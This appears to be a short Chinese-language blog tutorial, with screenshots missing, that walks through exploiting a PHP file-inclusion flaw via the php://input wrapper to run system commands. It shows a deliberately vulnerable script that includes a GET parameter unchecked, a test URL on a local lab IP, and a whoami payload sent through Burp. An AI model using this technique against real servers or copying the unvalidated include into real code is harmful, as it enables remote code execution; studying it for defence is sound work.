php文件报告 php内置协议 访问cmd执行系统命令

这个漏洞需要有前提条件的 需要修改php.ini 一个参数才可以执行漏洞

修改allow_url_include = On 这样在配合php文件包含 php内置协议 就可以执行漏洞了



修改完成 重启apache 接着查看我们服务器php文件源代码



万年不变源代码

<?php
if ($_GET['func']) {
include $_GET['func'];
} else {
include 'default.php';
}
?>

使用浏览器打开网站
http://192.168.1.106/test_php_local/index.php?func=php:\\input


报错 到这里还不能确定有没有php内置协议漏洞 接着往下看

下面我有用burp抓取数据包



看到没有 使用burp 没有返回信息 说明可能有这个漏洞

直接上命令

<?php system("whoami"); ?>



ok系统命令执行了 存在漏洞